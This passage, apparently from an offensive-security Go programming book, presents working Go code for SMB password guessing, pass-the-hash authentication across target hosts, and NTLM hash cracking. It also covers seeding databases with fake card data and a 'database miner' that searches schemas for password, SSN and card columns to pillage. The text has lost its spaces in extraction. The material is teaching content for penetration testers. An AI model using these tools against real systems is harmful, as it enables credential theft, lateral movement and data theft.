iferr!=nil{ log.Fatalln(err) } options:=smb.Options❶{ Password:os.Args[2], Domain:os.Args[3], Host:os.Args[4], Port:445, } users:=bytes.Split(buf,[]byte{'\n'}) for_,user:=rangeusers❷{ ❸options.User=string(user) session,err:=smb.NewSession(options,false)❹ iferr!=nil{ fmt.Printf("[-]Loginfailed:%s\\%s[%s]\n", options.Domain, options.User, options.Password) continue } defersession.Close() ifsession.IsAuthenticated❺{ fmt.Printf("[+]Success:%s\\%s[%s]\n", options.Domain, options.User, options.Password) } } } Listing6-12:LeveragingtheSMBpackageforonlinepasswordguessing(/ch- 6/password-guessing/main.go) TheSMBpackageoperatesonsessions.Toestablisha session,youfirstinitializeansmb.Optionsinstancethatwill containallyoursessionoptions,includingtargethost,user, password,port,anddomain❶.Next,youloopthrougheach ofyourtargetusers❷,settingtheoptions.Uservalue appropriately❸,andissueacalltosmb.NewSession()❹.This functiondoesalotofheavyliftingforyoubehindthescenes: itnegotiatesboththeSMBdialectandauthentication mechanism,andthenauthenticatestotheremotetarget.The functionwillreturnanerrorifauthenticationfails,anda booleanIsAuthenticatedfieldonthesessionstructispopulated basedofftheoutcome.Itwillthencheckthevaluetosee whethertheauthenticationsucceeded,andifitdid,displaya successmessage❺. Thatisallittakestocreateanonlinepassword-guessing utility. REUSINGPASSWORDSWITHTHE PASS-THE-HASHTECHNIQUE PASS-THE-HASHTECHNIQUE Thepass-the-hashtechniqueallowsanattackertoperform SMBauthenticationbyusingapassword’sNTLMhash,even iftheattackerdoesn’thavethecleartextpassword.This sectionwalksyouthroughtheconceptandshowsyouan implementationofit. Pass-the-hashisashortcuttoatypicalActiveDirectory domaincompromise,atypeofattackinwhichattackersgain aninitialfoothold,elevatetheirprivileges,andmovelaterally throughoutthenetworkuntiltheyhavetheaccesslevelsthey needtoachievetheirendgoal.ActiveDirectorydomain compromisesgenerallyfollowtheroadmappresentedinthis list,assumingtheytakeplacethroughanexploitratherthan somethinglikepasswordguessing: 1. Theattackerexploitsthevulnerabilityandgainsafootholdonthenetwork. 2. Theattackerelevatesprivilegesonthecompromisedsystem. 3. TheattackerextractshashedorcleartextcredentialsfromLSASS. 4. Theattackerattemptstorecoverthelocaladministratorpasswordviaoffline cracking. 5. Theattackerattemptstoauthenticatetoothermachinesbyusingthe administratorcredentials,lookingforreuseofthepassword. 6. Theattackerrinsesandrepeatsuntilthedomainadministratororothertargethas beencompromised. WithNTLMSSPauthentication,however,evenifyoufail torecoverthecleartextpasswordduringstep3or4,youcan proceedtousethepassword’sNTLMhashforSMB authenticationduringstep5—inotherwords,passingthehash. Pass-the-hashworksbecauseitseparatesthehash calculationfromthechallenge-responsetokencalculation.To seewhythisis,let’slookatthefollowingtwofunctions, definedbytheNTLMSSPspecification,pertainingtothe cryptographicandsecuritymechanismsusedfor authentication: NTOWFv2AcryptographicfunctionthatcreatesanMD5 HMACbyusingtheusername,domain,andpassword values.ItgeneratestheNTLMhashvalue. ComputeResponseAfunctionthatusestheNTLMhashin combinationwiththemessage’sclientandserver challenges,timestamp,andtargetservernametoproducea GSS-APIsecuritytokenthatcanbesentforauthentication. Youcanseetheimplementationsofthesefunctionsin Listing6-13. funcNtowfv2(pass,user,domainstring)[]byte{ h:=hmac.New(md5.New,Ntowfv1(pass)) h.Write(encoder.ToUnicode(strings.ToUpper(user)+domain)) returnh.Sum(nil) } funcComputeResponseNTLMv2(nthash❶,lmhash,clientChallenge, serverChallenge,timestamp, serverName[]byte)[]byte{ temp:=[]byte{1,1} temp=append(temp,0,0,0,0,0,0) temp=append(temp,timestamp...) temp=append(temp,clientChallenge...) temp=append(temp,0,0,0,0) temp=append(temp,serverName...) temp=append(temp,0,0,0,0) h:=hmac.New(md5.New,nthash) h.Write(append(serverChallenge,temp...)) ntproof:=h.Sum(nil) returnappend(ntproof,temp...) } Listing6-13:WorkingwithNTLMhashes(/ch-6/smb/ntlmssp/crypto.go) TheNTLMhashissuppliedasinputtothe ComputeResponseNTLMv2function❶,meaningthehashhasbeen createdindependentlyofthelogicusedforsecuritytoken creation.Thisimpliesthathashesstoredanywhere—evenin LSASS—areconsideredprecalculated,becauseyoudon’t needtosupplythedomain,user,orpasswordasinput.The authenticationprocessisasfollows: 1. Calculatetheuser’shashbyusingthedomain,user,andpasswordvalues. 2. UsethehashasinputtocalculateauthenticationtokensforNTLMSSPover SMB. Sinceyoualreadyhaveahashinhand,you’vealready completedstep1.Topassthehash,youinitiateyourSMB authenticationsequence,asyoudefineditwaybackinthe openingsectionsofthischapter.However,younevercalculate thehash.Instead,youusethesuppliedvalueasthehashitself. Listing6-14showsapass-the-hashutilitythatusesa passwordhashtoattempttoauthenticateasaspecificusertoa listofmachines. funcmain(){ iflen(os.Args)!=5{ log.Fatalln("Usage:main<target/hosts><user><domain><hash>") } buf,err:=ioutil.ReadFile(os.Args[1]) iferr!=nil{ log.Fatalln(err) } options:=smb.Options{ User:os.Args[2], Domain:os.Args[3], Hash❶:os.Args[4], Port:445, } targets:=bytes.Split(buf,[]byte{'\n'}) for_,target:=rangetargets❷{ options.Host=string(target) session,err:=smb.NewSession(options,false) iferr!=nil{ fmt.Printf("[-]Loginfailed[%s]:%s\n",options.Host,err) continue } defersession.Close() ifsession.IsAuthenticated{ fmt.Printf("[+]Loginsuccessful[%s]\n",options.Host) } } } Listing6-14:Passingthehashforauthenticationtesting(/ch-6/password- reuse/main.go) Thiscodeshouldlooksimilartothepassword-guessing example.Theonlysignificantdifferencesarethatyou’re settingtheHashfieldofsmb.Options(notthePasswordfield)❶and you’reiteratingoveralistoftargethosts(ratherthantarget users)❷.Thelogicwithinthesmb.NewSession()functionwilluse thehashvalueifpopulatedwithintheoptionsstruct. RECOVERINGNTLMPASSWORDS Insomeinstances,havingonlythepasswordhashwillbe inadequateforyouroverallattackchain.Forexample,many services(suchasRemoteDesktop,OutlookWebAccess,and others)don’tallowhash-basedauthentication,becauseiteither isn’tsupportedorisn’tadefaultconfiguration.Ifyourattack chainrequiresaccesstooneoftheseservices,you’llneeda cleartextpassword.Inthefollowingsections,you’llwalk throughhowhashesarecalculatedandhowtocreateabasic passwordcracker. CalculatingtheHash InListing6-15,youperformthemagicofcalculatingthehash. funcNewAuthenticatePass(domain,user,workstation,passwordstring,c Challenge)Authenticate { //Assumesdomain,user,andworkstationarenotunicode nthash:=Ntowfv2(password,user,domain) lmhash:=Lmowfv2(password,user,domain) returnnewAuthenticate(domain,user,workstation,nthash,lmhash,c) } funcNewAuthenticateHash(domain,user,workstation,hashstring,cChallenge) Authenticate{ //Assumesdomain,user,andworkstationarenotunicode buf:=make([]byte,len(hash)/2) hex.Decode(buf,[]byte(hash)) returnnewAuthenticate(domain,user,workstation,buf,buf,c) } Listing6-15:Calculatinghashes(/ch-6/smb/ntlmssp/ntlmssp.go) Thelogictocalltheappropriatefunctionisdefined elsewhere,butyou’llseethatthetwofunctionsaresimilar. Therealdifferenceisthatpassword-basedauthenticationin theNewAuthenticatePass()functioncomputesthehashbefore generatingtheauthenticationmessage,whereasthe NewAuthenticateHash()functionskipsthatstepandusesthe suppliedhashdirectlyasinputtogeneratethemessage. RecoveringtheNTLMHash InListing6-16,youcanseeautilitythatrecoversapassword bycrackingasuppliedNTLMhash. funcmain(){ iflen(os.Args)!=5{ log.Fatalln("Usage:main<dictionary/file><user><domain><hash>") } hash:=make([]byte,len(os.Args[4])/2) _,err:=hex.Decode(hash,[]byte(os.Args[4]))❶ iferr!=nil{ log.Fatalln(err) } f,err:=ioutil.ReadFile(os.Args[1]) iferr!=nil{ log.Fatalln(err) } varfoundstring passwords:=bytes.Split(f,[]byte{'\n'}) for_,password:=rangepasswords❷{ h:=ntlmssp.Ntowfv2(string(password),os.Args[2],os.Args[3])❸ ifbytes.Equal(hash,h)❹{ found=string(password) break } } iffound!=""{ fmt.Printf("[+]Recoveredpassword:%s\n",found) }else{ fmt.Println("[-]Failedtorecoverpassword") } } Listing6-16:NTLMhashcracking(/ch-6/password-recovery/main.go) Theutilityreadsthehashasacommandlineargument, decodingittoa[]byte❶.Thenyouloopoverasupplied passwordlist❷,calculatingthehashofeachentrybycalling thentlmssp.Ntowfv2()functionwediscussedpreviously❸. Finally,youcomparethecalculatedhashwiththatofour suppliedvalue❹.Iftheymatch,youhaveahitandbreakout oftheloop. SUMMARY You’vemadeitthroughadetailedexaminationofSMB, touchingonprotocolspecifics,reflection,structurefieldtags, andmixedencoding!Youalsolearnedhowpass-the-hash works,aswellasafewusefulutilityprogramsthatleverage theSMBpackage. Tocontinueyourlearning,weencourageyoutoexplore additionalSMBcommunications,particularlyinrelationto remotecodeexecution,suchasPsExec.Usinganetwork sniffer,suchasWireshark,capturethepacketsandevaluate howthisfunctionalityworks. Inthenextchapter,wemoveonfromnetworkprotocol specificstofocusonattackingandpillagingdatabases. 7 ABUSINGDATABASESAND FILESYSTEMS Nowthatwe’vecoveredthemajorityofcommonnetwork protocolsusedforactiveserviceinterrogation,commandand control,andothermaliciousactivity,let’sswitchourfocusto anequallyimportanttopic:datapillaging. Althoughdatapillagingmaynotbeasexcitingasinitial exploitation,lateralnetworkmovement,orprivilege escalation,it’sacriticalaspectoftheoverallattackchain. Afterall,weoftenneeddatainordertoperformthoseother activities.Commonly,thedataisoftangibleworthtoan attacker.Althoughhackinganorganizationisthrilling,the dataitselfisoftenalucrativeprizefortheattackeranda damninglossfortheorganization. Dependingonwhichstudyyouread,abreachin2020can costanorganizationapproximately$4to$7million.AnIBM studyestimatesitcostsanorganization$129to$355per recordstolen.Hell,ablackhathackercanmakesomeserious coinofftheundergroundmarketbysellingcreditcardsata rateof$7to$80percard (http://online.wsj.com/public/resources/documents/securework s_hacker_annualreport.pdf). TheTargetbreachaloneresultedinacompromiseof40 millioncards.Insomecases,theTargetcardsweresoldforas muchas$135percard(http://www.businessinsider.com/heres- what-happened-to-your-target-data-that-was-hacked-2014- 10/).That’sprettylucrative.We,innoway,advocatethattype ofactivity,butfolkswithaquestionablemoralcompassstand tomakealotofmoneyfromdatapillaging. Enoughabouttheindustryandfancyreferencestoonline articles—let’spillage!Inthischapter,you’lllearntosetup andseedavarietyofSQLandNoSQLdatabasesandlearnto connectandinteractwiththosedatabasesviaGo.We’llalso demonstratehowtocreateadatabaseandfilesystemdata minerthatsearchesforkeyindicatorsofjuicyinformation. SETTINGUPDATABASESWITH DOCKER Inthissection,you’llinstallvariousdatabasesystemsandthen seedthemwiththedatayou’lluseinthischapter’spillaging examples.Wherepossible,you’lluseDockeronanUbuntu 18.04VM.Dockerisasoftwarecontainerplatformthatmakes iteasytodeployandmanageapplications.Youcanbundle applicationsandtheirdependenciesinamannerthatmakes theirdeploymentstraightforward.Thecontaineris compartmentalizedfromtheoperatingsysteminorderto preventthepollutionofthehostplatform.Thisisniftystuff. Andforthischapter,youwilluseavarietyofprebuilt Dockerimagesforthedatabasesyou’llbeworkingwith.If youdon’thaveitalready,installDocker.YoucanfindUbuntu instructionsathttps://docs.docker.com/install/linux/docker- ce/ubuntu/. NOTE We’vespecificallychosentoomitdetailsonsettingupanOracleinstance. AlthoughOracleprovidesVMimagesthatyoucandownloadanduseto createatestdatabase,wefeltthatitwasunnecessarytowalkyouthrough these steps, since they’re fairly similar to the MySQL examples below. We’llleavetheOracle-specificimplementationasanexerciseforyoutodo independently. InstallingandSeedingMongoDB MongoDBistheonlyNoSQLdatabasethatyou’lluseinthis chapter.Unliketraditionalrelationaldatabases,MongoDB doesn’tcommunicateviaSQL.Instead,MongoDBusesan easy-to-understandJSONsyntaxforretrievingand manipulatingdata.Entirebookshavebeendedicatedto explainingMongoDB,andafullexplanationiscertainly beyondthescopeofthisbook.Fornow,you’llinstallthe Dockerimageandseeditwithfakedata. UnliketraditionalSQLdatabases,MongoDBisschema- less,whichmeansthatitdoesn’tfollowapredefined,rigid rulesystemfororganizingtabledata.Thisexplainswhyyou’ll seeonlyinsertcommandsinListing7-1withoutanyschema definitions.First,installtheMongoDBDockerimagewiththe followingcommand: $dockerrun--namesome-mongo-p27017:27017mongo Thiscommanddownloadstheimagenamedmongofromthe Dockerrepository,spinsupanewinstancenamedsome-mongo —thenameyougivetheinstanceisarbitrary—andmapslocal port27017tothecontainerport27017.Theportmappingiskey, asitallowsustoaccessthedatabaseinstancedirectlyfromour operatingsystem.Withoutit,itwouldbeinaccessible. Checkthatthecontainerstartedautomaticallybylistingall therunningcontainers: $dockerps Intheeventyourcontainerdoesn’tstartautomatically,run thefollowingcommand: $dockerstartsome-mongo Thestartcommandshouldgetthecontainergoing. Onceyourcontainerstarts,connecttotheMongoDB instancebyusingtheruncommand—passingittheMongoDB client;thatway,youcaninteractwiththedatabasetoseed data: $dockerrun-it--linksome-mongo:mongo--rmmongosh\ -c'execmongo "$MONGO_PORT_27017_TCP_ADDR:$MONGO_PORT_27017_TCP_POR T/store"' > Thismagicalcommandrunsadisposable,secondDocker containerthathastheMongoDBclientbinaryinstalled—so youdon’thavetoinstallthebinaryonyourhostoperating system—andusesittoconnecttothesome-mongoDocker container’sMongoDBinstance.Inthisexample,you’re connectingtoadatabasenamedtest. InListing7-1,youinsertanarrayofdocumentsintothe transactionscollection.(Allthecodelistingsattherootlocation of/existundertheprovidedgithubrepo https://github.com/blackhat-go/bhg/.) >db.transactions.insert([ { "ccnum":"4444333322221111", "date":"2019-01-05", "amount":100.12, "cvv":"1234", "exp":"09/2020" }, { "ccnum":"4444123456789012", "date":"2019-01-07", "amount":2400.18, "cvv":"5544", "exp":"02/2021" }, { "ccnum":"4465122334455667", "date":"2019-01-29", "amount":1450.87, "cvv":"9876", "exp":"06/2020" } ]); Listing7-1:InsertingtransactionsintoaMongoDBcollection(/ch-7/db/seed- mongo.js) That’sit!You’venowcreatedyourMongoDBdatabase instanceandseededitwithatransactionscollectionthatcontains threefakedocumentsforquerying.You’llgettothequerying partinabit,butfirst,youshouldknowhowtoinstallandseed traditionalSQLdatabases. InstallingandSeedingPostgreSQLandMySQL Databases Databases PostgreSQL(alsocalledPostgres)andMySQLareprobably thetwomostcommon,well-known,enterprise-quality,open sourcerelationaldatabasemanagementsystems,andofficial Dockerimagesexistforboth.Becauseoftheirsimilarityand thegeneraloverlapintheirinstallationsteps,webatched togetherinstallationinstructionsforbothhere. First,muchinthesamewayasfortheMongoDBexample intheprevioussection,downloadandruntheappropriate Dockerimage: $dockerrun--namesome-mysql-p3306:3306-e MYSQL_ROOT_PASSWORD=password-dmysql $dockerrun--namesome-postgres-p5432:5432-e POSTGRES_PASSWORD=password-dpostgres Afteryourcontainersarebuilt,confirmtheyarerunning, andiftheyaren’t,youcanstartthemviathedockerstartname command. Next,youcanconnecttothecontainersfromthe appropriateclient—again,usingtheDockerimagetoprevent installinganyadditionalfilesonthehost—andproceedto createandseedthedatabase.InListing7-2,youcanseethe MySQLlogic. $dockerrun-it--linksome-mysql:mysql--rmmysqlsh-c\ 'execmysql-h"$MYSQL_PORT_3306_TCP_ADDR"- P"$MYSQL_PORT_3306_TCP_PORT"\ -uroot-p"$MYSQL_ENV_MYSQL_ROOT_PASSWORD"' mysql>createdatabasestore; mysql>usestore; mysql>createtabletransactions(ccnumvarchar(32),datedate,amount float(7,2), ->cvvchar(4),expdate); Listing7-2:CreatingandinitializingaMySQLdatabase Thelisting,liketheonethatfollows,startsadisposable Dockershellthatexecutestheappropriatedatabaseclient binary.Itcreatesandconnectstothedatabasenamedstoreand thencreatesatablenamedtransactions.Thetwolistingsare identical,withtheexceptionthattheyaretailoredtodifferent databasesystems. InListing7-3,youcanseethePostgreslogic,whichdiffers slightlyinsyntaxfromMySQL. $dockerrun-it--rm--linksome-postgres:postgrespostgrespsql-hpostgres- Upostgres postgres=#createdatabasestore; postgres=#\connectstore store=#createtabletransactions(ccnumvarchar(32),datedate,amount money,cvv char(4),expdate); Listing7-3:CreatingandinitializingaPostgresdatabase InbothMySQLandPostgres,thesyntaxisidenticalfor insertingyourtransactions.Forexample,inListing7-4,you canseehowtoinsertthreedocumentsintoaMySQLtransactions collection. mysql>insertintotransactions(ccnum,date,amount,cvv,exp)values ->('4444333322221111','2019-01-05',100.12,'1234','2020-09-01'); mysql>insertintotransactions(ccnum,date,amount,cvv,exp)values ->('4444123456789012','2019-01-07',2400.18,'5544','2021-02-01'); mysql>insertintotransactions(ccnum,date,amount,cvv,exp)values ->('4465122334455667','2019-01-29',1450.87,'9876','2019-06-01'); Listing7-4:InsertingtransactionsintoMySQLdatabases(/ch-7/db/seed-pg- mysql.sql) TryinsertingthesamethreedocumentsintoyourPostgres database. InstallingandSeedingMicrosoftSQLServer Databases In2016,Microsoftbeganmakingmajormovestoopen-source someofitscoretechnologies.Oneofthosetechnologieswas MicrosoftSQL(MSSQL)Server.Itfeelspertinenttohighlight thisinformationwhiledemonstratingwhat,forsolong,wasn’t possible—thatis,installingMSSQLServeronaLinux operatingsystem.Betteryet,there’saDockerimageforit, whichyoucaninstallwiththefollowingcommand: $dockerrun--namesome-mssql-p1433:1433-e'ACCEPT_EULA=Y'\ -e'SA_PASSWORD=Password1!'-dmicrosoft/mssql-server-linux Thatcommandissimilartotheothersyouraninthe previoustwosections,butperthedocumentation,the SA_PASSWORDvalueneedstobecomplex—acombinationof uppercaseletters,lowercaseletters,numbers,andspecial characters—oryouwon’tbeabletoauthenticatetoit.Since thisisjustatestinstance,theprecedingvalueistrivialbut minimallymeetsthoserequirements—justasweseeon enterprisenetworksallthetime! Withtheimageinstalled,startthecontainer,createthe schema,andseedthedatabase,asinListing7-5. $dockerexec-itsome-mssql/opt/mssql-tools/bin/sqlcmd-Slocalhost\ -Usa-P'Password1!' >createdatabasestore; >go >usestore; >createtabletransactions(ccnumvarchar(32),datedate,amount decimal(7,2), >cvvchar(4),expdate); >go >insertintotransactions(ccnum,date,amount,cvv,exp)values >('4444333322221111','2019-01-05',100.12,'1234','2020-09-01'); >insertintotransactions(ccnum,date,amount,cvv,exp)values >('4444123456789012','2019-01-07',2400.18,'5544','2021-02-01'); >insertintotransactions(ccnum,date,amount,cvv,exp)values >('4465122334455667','2019-01-29',1450.87,'9876','2020-06-01'); >go Listing7-5:CreatingandseedinganMSSQLdatabase Thepreviouslistingreplicatesthelogicwedemonstrated forMySQLandPostgresearlier.ItusesDockertoconnectto theservice,createsandconnectstothestoredatabase,and createsandseedsatransactionstable.We’representingit separatelyfromtheotherSQLdatabasesbecauseithassome MSSQL-specificsyntax. CONNECTINGANDQUERYING DATABASESINGO Nowthatyouhaveavarietyoftestdatabasestoworkwith, youcanbuildthelogictoconnecttoandquerythosedatabases fromaGoclient.We’vedividedthisdiscussionintotwo topics—oneforMongoDBandonefortraditionalSQL databases. QueryingMongoDB DespitehavinganexcellentstandardSQLpackage,Go doesn’tmaintainasimilarpackageforinteractingwith NoSQLdatabases.Insteadyou’llneedtorelyonthird-party packagestofacilitatethisinteraction.Ratherthaninspectthe implementationofeachthird-partypackage,we’llfocus purelyonMongoDB.We’llusethemgo(pronouncemango) DBdriverforthis. Startbyinstallingthemgodriverwiththefollowing command: $gogetgopkg.in/mgo.v2 Youcannowestablishconnectivityandqueryyourstore collection(theequivalentofatable),whichrequiresevenless codethantheSQLsamplecodewe’llcreatelater(seeListing 7-6). packagemain import( "fmt" "log" mgo"gopkg.in/mgo.v2" ) typeTransactionstruct{❶ CCNumstring`bson:"ccnum"` Datestring`bson:"date"` Amountfloat32`bson:"amount"` Cvvstring`bson:"cvv"` Expirationstring`bson:"exp"` } funcmain(){ session,err:=mgo.Dial("127.0.0.1")❷ iferr!=nil{ log.Panicln(err) } defersession.Close() results:=make([]Transaction,0) iferr:=session.DB("store").C("transactions").Find(nil).All(&results)❸;err!= nil{ log.Panicln(err) } for_,txn:=rangeresults{❹ fmt.Println(txn.CCNum,txn.Date,txn.Amount,txn.Cvv,txn.Expiration) } } Listing7-6:ConnectingtoandqueryingaMongoDBdatabase(/ch-7/db/mongo- connect/main.go) First,youdefineatype,Transaction,whichwillrepresenta singledocumentfromyourstorecollection❶.Theinternal mechanismfordatarepresentationinMongoDBisbinary JSON.Forthisreason,usetaggingtodefineanymarshaling directives.Inthiscase,you’reusingtaggingtoexplicitly definetheelementnamestobeusedinthebinaryJSONdata. Inyourmain()function❷,callmgo.Dial()tocreateasession byestablishingaconnectiontoyourdatabase,testingtomake surenoerrorsoccurred,anddeferringacalltoclosethe session.Youthenusethesessionvariabletoquerythestore database❸,retrievingalltherecordsfromthetransactions collection.YoustoretheresultsinaTransactionslice,named results.Underthecovers,yourstructuretagsareusedto unmarshalthebinaryJSONtoyourdefinedtype.Finally,loop overyourresultsetandprintthemtothescreen❹.Inboth thiscaseandtheSQLsampleinthenextsection,youroutput shouldlooksimilartothefollowing: $gorunmain.go 44443333222211112019-01-05100.12123409/2020 44441234567890122019-01-072400.18554402/2021 44651223344556672019-01-291450.87987606/2020 QueryingSQLDatabases QueryingSQLDatabases Gocontainsastandardpackage,calleddatabase/sql,thatdefines aninterfaceforinteractingwithSQLandSQL-likedatabases. Thebaseimplementationautomaticallyincludesfunctionality suchasconnectionpoolingandtransactionsupport.Database driversadheringtothisinterfaceautomaticallyinheritthese capabilitiesandareessentiallyinterchangeable,astheAPI remainsconsistentbetweendrivers.Thefunctioncallsand implementationinyourcodeareidenticalwhetheryou’re usingPostgres,MSSQL,MySQL,orsomeotherdriver.This makesitconvenienttoswitchbackenddatabaseswithminimal codechangeontheclient.Ofcourse,thedriverscan implementdatabase-specificcapabilitiesandusedifferent SQLsyntax,butthefunctioncallsarenearlyidentical. Forthisreason,we’llshowyouhowtoconnecttojustone SQLdatabase—MySQL—andleavetheotherSQLdatabases asanexerciseforyou.Youstartbyinstallingthedriverwith thefollowingcommand: $gogetgithub.com/go-sql-driver/mysql Then,youcancreateabasicclientthatconnectstothe databaseandretrievestheinformationfromyourtransactions table—usingthescriptinListing7-7. packagemain import( "database/sql"❶ "fmt" "log" "github.com/go-sql-driver/mysql"❷ ) funcmain(){ db,err:=sql.Open("mysql","root:password@tcp(127.0.0.1:3306)/store")❸ iferr!=nil{ log.Panicln(err) } deferdb.Close() var( ccnum,date,cvv,expstring amountfloat32 ) rows,err:=db.Query("SELECTccnum,date,amount,cvv,expFROM transactions")❹ iferr!=nil{ log.Panicln(err) } deferrows.Close() forrows.Next(){ err:=rows.Scan(&ccnum,&date,&amount,&cvv,&exp)❺ iferr!=nil{ log.Panicln(err) } fmt.Println(ccnum,date,amount,cvv,exp) } ifrows.Err()!=nil{ log.Panicln(err) } } Listing7-7:ConnectingtoandqueryingaMySQLdatabase(/ch-7/db/mysql- connect/main.go) ThecodebeginsbyimportingGo’sdatabase/sqlpackage❶. ThisallowsyoutoutilizeGo’sawesomestandardSQLlibrary interfacetointeractwiththedatabase.Youalsoimportyour MySQLdatabasedriver❷.Theleadingunderscoreindicates thatit’simportedanonymously,whichmeansitsexported typesaren’tincluded,butthedriverregistersitselfwiththesql packagesothattheMySQLdriveritselfhandlesthefunction calls. Next,youcallsql.Open()toestablishaconnectiontoour database❸.Thefirstparameterspecifieswhichdrivershould beused—inthiscase,thedriverismysql—andthesecond parameterspecifiesyourconnectionstring.Youthenquery yourdatabase,passinganSQLstatementtoselectallrows fromyourtransactionstable❹,andthenloopovertherows, subsequentlyreadingthedataintoyourvariablesandprinting thevalues❺. That’sallyouneedtodotoqueryaMySQLdatabase. Usingadifferentbackenddatabaserequiresonlythefollowing minorchangestothecode: 1. Importthecorrectdatabasedriver. 2. Changetheparameterspassedtosql.Open(). 3. TweaktheSQLsyntaxtotheflavorrequiredbyyourbackenddatabase. Amongtheseveraldatabasedriversavailable,manyare pureGo,whileahandfulofothersusecgoforsomeunderlying interaction.Checkoutthelistofavailabledriversat https://github.com/golang/go/wiki/SQLDrivers/. BUILDINGADATABASEMINER Inthissection,youwillcreateatoolthatinspectsthedatabase schema(forexample,columnnames)todeterminewhetherthe datawithinisworthpilfering.Forinstance,sayyouwantto findpasswords,hashes,socialsecuritynumbers,andcredit cardnumbers.Ratherthanbuildingonemonolithicutilitythat minesvariousbackenddatabases,you’llcreateseparate utilities—oneforeachdatabase—andimplementadefined interfacetoensureconsistencybetweentheimplementations. Thisflexibilitymaybesomewhatoverkillforthisexample, butitgivesyoutheopportunitytocreatereusableandportable code. Theinterfaceshouldbeminimal,consistingofafewbasic typesandfunctions,anditshouldrequiretheimplementation ofasinglemethodtoretrievedatabaseschema.Listing7-8, calleddbminer.go,definesthedatabaseminer’sinterface. packagedbminer import( "fmt" "regexp" ) ❶typeDatabaseMinerinterface{ GetSchema()(*Schema,error) } ❷typeSchemastruct{ Databases[]Database } typeDatabasestruct{ Namestring Tables[]Table } typeTablestruct{ Namestring Columns[]string } ❸funcSearch(mDatabaseMiner)error{ ❹s,err:=m.GetSchema() iferr!=nil{ returnerr } re:=getRegex() ❺for_,database:=ranges.Databases{ for_,table:=rangedatabase.Tables{ for_,field:=rangetable.Columns{ for_,r:=rangere{ ifr.MatchString(field){ fmt.Println(database) fmt.Printf("[+]HIT:%s\n",field) } } } } } returnnil } ❻funcgetRegex()[]*regexp.Regexp{ return[]*regexp.Regexp{ regexp.MustCompile(`(?i)social`), regexp.MustCompile(`(?i)ssn`), regexp.MustCompile(`(?i)pass(word)?`), regexp.MustCompile(`(?i)hash`), regexp.MustCompile(`(?i)ccnum`), regexp.MustCompile(`(?i)card`), regexp.MustCompile(`(?i)security`), regexp.MustCompile(`(?i)key`), } } /*Extranneouscodeomittedforbrevity*/ Listing7-8:Databaseminerimplementation(/ch-7/db/dbminer/dbminer.go) Thecodebeginsbydefininganinterfacenamed DatabaseMiner❶.Asinglemethod,calledGetSchema(),isrequired foranytypesthatimplementtheinterface.Becauseeach backenddatabasemayhavespecificlogictoretrievethe databaseschema,theexpectationisthateachspecificutility canimplementthelogicinawaythat’suniquetothebackend databaseanddriverinuse. Next,youdefineaSchematype,whichiscomposedofafew subtypesalsodefinedhere❷.You’llusetheSchematypeto logicallyrepresentthedatabaseschema—thatis,databases, tables,andcolumns.Youmighthavenoticedthatyour GetSchema()function,withintheinterfacedefinition,expects implementationstoreturna*Schema. Now,youdefineasinglefunction,calledSearch(),which containsthebulkofthelogic.TheSearch()functionexpectsa DatabaseMinerinstancetobepassedtoitduringthefunctioncall, andstorestheminervalueinavariablenamedm❸.The functionstartsbycallingm.GetSchema()toretrievetheschema ❹.Thefunctionthenloopsthroughtheentireschema, searchingagainstalistofregularexpression(regex)valuesfor columnnamesthatmatch❺.Ifitfindsamatch,thedatabase schemaandmatchingfieldareprintedtothescreen. Lastly,defineafunctionnamedgetRegex()❻.Thisfunction compilesregexstringsbyusingGo’sregexppackageand returnsasliceofthesevalues.Theregexlistconsistsofcase- insensitivestringsthatmatchagainstcommonorinteresting fieldnamessuchasccnum,ssn,andpassword. Withyourdatabaseminer’sinterfaceinhand,youcan createutility-specificimplementations.Let’sstartwiththe MongoDBdatabaseminer. ImplementingaMongoDBDatabaseMiner TheMongoDButilityprograminListing7-9implementsthe interfacedefinedinListing7-8whilealsointegratingthe databaseconnectivitycodeyoubuiltinListing7-6. packagemain import( "os" ❶"github.com/bhg/ch-7/db/dbminer" "gopkg.in/mgo.v2" "gopkg.in/mgo.v2/bson" ) ❷typeMongoMinerstruct{ Hoststring session*mgo.Session } ❸funcNew(hoststring)(*MongoMiner,error){ m:=MongoMiner{Host:host} err:=m.connect() iferr!=nil{ returnnil,err } return&m,nil } ❹func(m*MongoMiner)connect()error{ s,err:=mgo.Dial(m.Host) iferr!=nil{ returnerr } m.session=s returnnil } ❺func(m*MongoMiner)GetSchema()(*dbminer.Schema,error){ vars=new(dbminer.Schema) dbnames,err:=m.session.DatabaseNames()❻ iferr!=nil{ returnnil,err } for_,dbname:=rangedbnames{ db:=dbminer.Database{Name:dbname,Tables:[]dbminer.Table{}} collections,err:=m.session.DB(dbname).CollectionNames()❼ iferr!=nil{ returnnil,err } for_,collection:=rangecollections{ table:=dbminer.Table{Name:collection,Columns:[]string{}} vardocRawbson.Raw err:=m.session.DB(dbname).C(collection).Find(nil).One(&docRaw)❽ iferr!=nil{ returnnil,err } vardocbson.RawD iferr:=docRaw.Unmarshal(&doc);err!=nil{❾ iferr!=nil{ returnnil,err } } for_,f:=rangedoc{ table.Columns=append(table.Columns,f.Name) } db.Tables=append(db.Tables,table) } s.Databases=append(s.Databases,db) } returns,nil } funcmain(){ mm,err:=New(os.Args[1]) iferr!=nil{ panic(err) } ❿iferr:=dbminer.Search(mm);err!=nil{ panic(err) } } Listing7-9:CreatingaMongoDBdatabaseminer(/ch-7/db/mongo/main.go) Youstartbyimportingthedbminerpackagethatdefinesyour DatabaseMinerinterface❶.ThenyoudefineaMongoMinertype thatwillbeusedtoimplementtheinterface❷.For convenience,youdefineaNew()functionthatcreatesanew instanceofyourMongoMinertype❸,callingamethodnamed connect()thatestablishesaconnectiontothedatabase❹.The entiretyofthislogicessentiallybootstrapsyourcode, connectingtothedatabaseinafashionsimilartothat discussedinListing7-6. Themostinterestingportionofthecodeisyour implementationoftheGetSchema()interfacemethod❺.Unlike inthepreviousMongoDBsamplecodeinListing7-6,youare nowinspectingtheMongoDBmetadata,firstretrieving databasenames❻andthenloopingoverthosedatabasesto retrieveeachdatabase’scollectionnames❼.Lastly,the functionretrievestherawdocumentthat,unlikeatypical MongoDBquery,useslazyunmarshaling❽.Thisallowsyou toexplicitlyunmarshaltherecordintoagenericstructureso thatyoucaninspectfieldnames❾.Ifnotforlazy unmarshaling,youwouldhavetodefineanexplicittype, likelyusingbsontagattributes,inordertoinstructyourcode howtounmarshalthedataintoastructyoudefined.Inthis case,youdon’tknow(orcare)aboutthefieldtypesor structure—youjustwantthefieldnames(notthedata)—so thisishowyoucanunmarshalstructureddatawithoutneeding toknowthestructureofthatdatabeforehand. 